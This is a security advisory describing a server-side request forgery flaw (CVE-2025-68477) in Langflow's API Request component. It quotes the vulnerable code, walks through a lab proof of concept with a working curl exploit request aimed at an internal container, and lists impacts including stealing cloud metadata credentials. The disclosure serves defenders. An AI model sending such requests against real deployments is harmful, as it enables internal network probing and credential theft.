CVE-2025-68477: Langflow vulnerable to Server-Side Request Forgery

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code 1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359 python @router.post("/run/{flowidorname}", responsemodel=None, responsemodelexcludenone=True) async def simplifiedrunflow( , backgroundtasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(getflowbyidorendpointname)], inputrequest: SimplifiedAPIRequest | None = None, stream: bool = False, apikeyuser: Annotated[UserRead, Depends(apikeysecurity)], context: dict | None = None, httprequest: Request, ): https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588 bash @router.post( "/run/advanced/{flowidorname}", responsemodel=RunResponse, responsemodelexcludenone=True, ) async def experimentalrunflow( , session: DbSession, flow: Annotated[Flow, Depends(getflowbyidorendpointname)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, sessionid: Annotated[None | str, Body(embed=True)] = None, apikeyuser: Annotated[UserRead, Depends(apikeysecurity)], ) -> RunResponse: 2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L280-L289 python def normalizeurl(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg) url = url.strip() if url.startswith(("http://", "https://")): return url return f"https://{url}" https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L433-L438 python url = self.normalizeurl(url) # Validate URL if not validators.url(url): msg = f"Invalid URL provided: {url}" raise ValueError(msg) 3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"]. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L312-L322 python try: # Prepare request parameters requestparams = { "method": method, "url": url, "headers": headers, "json": processedbody, "timeout": timeout, "followredirects": followredirects, } response = await client.request(requestparams) https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L335-L340 python # Base metadata metadata = { "source": url, "statuscode": response.statuscode, "responseheaders": responseheaders, } https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L364-L379 python # Handle response content if isbinary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8") metadata["result"] = result if includehttpxmetadata: metadata.update({"headers": headers}) return Data(data=metadata)

PoC

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PoC Description - I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3. - I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOWID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

- Langflow Setting <img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" /> - Exploit bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH4epEhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"inputvalue":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"urlinput":"http://172.18.0.3:8000/internal","includehttpxmetadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^json\\n";"") | sub("\\n$";"") | fromjson | .result' <img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" />

Impact

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- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations). - Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials. - Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API). - Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data. - Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.